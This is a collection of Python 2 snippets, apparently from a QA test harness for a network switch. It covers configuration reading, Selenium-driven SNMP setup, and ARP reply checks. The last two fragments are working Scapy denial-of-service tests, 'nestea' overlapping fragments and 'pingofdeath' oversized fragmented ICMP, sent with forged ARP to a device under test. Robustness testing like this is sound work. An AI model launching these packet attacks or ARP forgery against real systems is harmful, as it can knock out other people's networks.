def __init__(self): print("Get parameters from Configuration file") parameters = PubReadConfig("") global caseName caseName = sys.argv[0] caseName = caseName[:-3] global prjName prjName = parameters.GetParameter("DUT1", "PRODUCT") global brserType brserType = parameters.GetParameter("PC", "BRWSRTYPE") global DUTIP DUTIP = parameters.GetParameter("DUT1", "IP") self.switch_type = prjName self.brower_type = brserType self.URL = DUTIP global netcard netcard = parameters.GetParameter("PC", "MGMTNIC") global netcardip netcardip = parameters.GetParameter("PC", "MGMTIP") self.conn = PubModuleCase(self.URL) self.st1 = self.conn.ConnectionServer() if self.st1 != 200: print "connect to server failed...%d" % self.st1 sys.exit() self.driver = self.conn.LoginToWeb() self.mac = self.conn.GetDutMac() print "the mac of dut is %s" % self.mac
def Checkpacket(self,PortType,Ethertype): print "======Checkpacket=====" time.sleep(1) parameters = PubReadConfig("") mgmtmac = str(parameters.GetParameter("PC","MGMTMAC")) mgmtip = str(parameters.GetParameter("PC","MGMTIP")) dstip = str(parameters.GetParameter("DUT1","IP")) mgmtnic = str(parameters.GetParameter("PC","MGMTNIC")) if PortType == "Unaware": eth = Ether(src=mgmtmac,type=0x0806,dst="ff:ff:ff:ff:ff:ff") arp = ARP(hwtype=0x0001,ptype=0x0800,op=0x0001,hwsrc=mgmtmac,psrc="192.168.1.42",pdst=dstip,hwdst="ff:ff:ff:ff:ff:ff") a = eth/arp else: eth = Ether(src=mgmtmac,type=Ethertype,dst="ff:ff:ff:ff:ff:ff") priority = random.randint(0,7) dot1q=Dot1Q(type=0x0806,prio=priority,vlan=1) arp = ARP(hwtype=0x0001,ptype=0x0800,op=0x0001,hwsrc=mgmtmac,psrc="192.168.1.42",pdst=dstip,hwdst="ff:ff:ff:ff:ff:ff") a = eth/dot1q/arp os.system("ifconfig eth0 promisc") Reply = srp1(a,iface=mgmtnic,timeout=3) os.system("ifconfig eth0 -promisc") if Reply == None: return 0 else: if Reply.op == 2: return 1 else: return 0
def ChkInputVal(): print("Get parameters from Configuration file") getconfig = PubReadConfig() global caseName caseName = sys.argv[0] caseName = caseName[:-3] global prjName prjName = getconfig.GetParameter("DUT1", "PRODUCT") global brserType brserType = getconfig.GetParameter("PC", "BRWSRTYPE") global DUTIP DUTIP = getconfig.GetParameter("DUT1", "IP")
def ChkInputVal(): print("Get parameters from Configuration file") parameters = PubReadConfig("") global caseName caseName = sys.argv[:-3] global prjName prjName = parameters.GetParameter("DUT1", "PRODUCT") global brserType brserType = parameters.GetParameter("PC", "BRWSRTYPE") global DUTIP DUTIP = parameters.GetParameter("DUT1", "IP") if prjName is None or brserType is None or DUTIP is None: sys.exit()
def SnmpConfig(self): parameters = PubReadConfig("") pc_ip = parameters.GetParameter("PC", "MGMTIP") print "pc_ip:" + pc_ip self.pubmodul.location("/html/frameset/frameset/frame[1]") ActionChains(self.driver).move_to_element( self.driver.find_element_by_link_text("Switch")).perform() WebDriverWait(self.driver, 30).until( lambda driver: driver.find_element_by_link_text("Switch")).click() ActionChains(self.driver).move_to_element( self.driver.find_element_by_link_text("SNMP")).perform() WebDriverWait(self.driver, 30).until( lambda driver: driver.find_element_by_link_text("SNMP")).click() ActionChains(self.driver).move_to_element( self.driver.find_element_by_id("snmp.htm")).perform() WebDriverWait(self.driver, 30).until( lambda driver: driver.find_element_by_id("snmp.htm")).click() self.pubmodul.location("/html/frameset/frameset/frame[2]") select1 = Select(self.driver.find_element_by_id("trap_mode")) select1.select_by_visible_text("Enabled") select2 = Select(self.driver.find_element_by_id("trap_version")) select2.select_by_visible_text("SNMP v2c") des = self.driver.find_element_by_id("trap_dip") des.clear() des.send_keys(pc_ip) select3 = Select(self.driver.find_element_by_id("trap_inform_mode")) select3.select_by_visible_text("Disabled") self.driver.find_element_by_xpath("/html/body/form/p/input").click()
def ChkInputVal(): print ("Get parameters from Configuration file") parameters=PubReadConfig("") global caseName caseName = sys.argv[0] caseName = caseName[:-3] global prjName prjName = parameters.GetParameter("DUT1","PRODUCT") global brserType brserType= parameters.GetParameter("PC","BRWSRTYPE") print ("The broswer type you input is %s.")%brserType global DUTIP DUTIP = parameters.GetParameter("DUT1","IP") print ('The ip address you input is %s.')%DUTIP if prjName is None or brserType is None or DUTIP is None: print "Please check the parameters in file %s"%parameters.PathOfConfig() sys.exit()
def ChkInputVal(): print("Get parameters from Configuration file") parameters = PubReadConfig("") global caseName caseName = sys.argv[0] caseName = caseName[:-3] global prjName prjName = parameters.GetParameter("DUT1", "PRODUCT") global brserType brserType = parameters.GetParameter("PC", "BRWSRTYPE") global DUTIP DUTIP = parameters.GetParameter("DUT1", "IP") global manageNic manageNic = parameters.GetParameter("PC", "MGMTNIC") global dataNic dataNic = parameters.GetParameter("PC", "TRFCNIC") global testport testport = parameters.GetParameter("TOPO", "TRFCNIC") if prjName is None or brserType is None or DUTIP is None: print "Please check the parameters in file %s" % parameters.PathOfconfig( ) sys.exit()
send(IP(dst=ipdst,id=42,flags="MF")/UDP()/("X"*224),iface=mgmtnic) AttackTest.ChkDutSts() print "Start to Test Traffic Port Attack" conf.route.add(host=ipdst,dev=trfcnic) for i in range(num): AttackTest.fgarp(macsrc,ipsrc,ipdst,trfcnic) send(IP(dst=ipdst,id=42,flags="MF")/UDP()/("X"*10),iface=trfcnic) send(IP(dst=ipdst,id=42,frag=48)/("X"*116),iface=trfcnic) send(IP(dst=ipdst,id=42,flags="MF")/UDP()/("X"*224),iface=trfcnic) conf.route.resync() AttackTest.ChkDutSts() except: print "FAIL" sys.exit() if __name__=="__main__": prmts = PubReadConfig("") num = 100 mgmtnic = prmts.GetParameter("PC","MGMTNIC") trfcnic = prmts.GetParameter("PC","TRFCNIC") ipsrc = "192.168.3.187" ipdst = prmts.GetParameter("DUT1","IP") macsrc = "00:27:19:9b:17:a5" print "==========Start Testing nestea=============" nestea(macsrc,ipsrc,ipdst,mgmtnic,trfcnic,num) print "==========nestea testing finished============" print "PASS"
for i in range(100): print "forge arp packets in order to use traffic port to do testing" AttackTest.fgarp(trfcmac,ipsrc,ipdst,trfcnic) print "Start to send 41x"+str(num/100)+" packets" send(fragment(IP(dst=ipdst)/ICMP()/("X"*60000)),count=num/100,iface=trfcnic) conf.route.resync() AttackTest.ChkDutSts() except: print "FAIL" sys.exit() if __name__ == "__main__": prmts = PubReadConfig("") num = 100 mgmtnic = prmts.GetParameter("PC","MGMTNIC") trfcnic = prmts.GetParameter("PC","TRFCNIC") ipsrc = "192.168.3.187" ipdst = prmts.GetParameter("DUT1","IP") # temp = AttackCases(ipdst) # macsrc = temp.PubModuleEle.GetHwAddr(trfcnic) mgmtmac = prmts.GetParameter("PC","MGMTMAC") trfcmac = prmts.GetParameter("PC","TRFCMAC") print "===========Start Testing pingofdeath=============" pingofdeath(mgmtmac,trfcmac,ipsrc,ipdst,mgmtnic,trfcnic,num) print "==========pingofdeath testing finished========" print "PASS"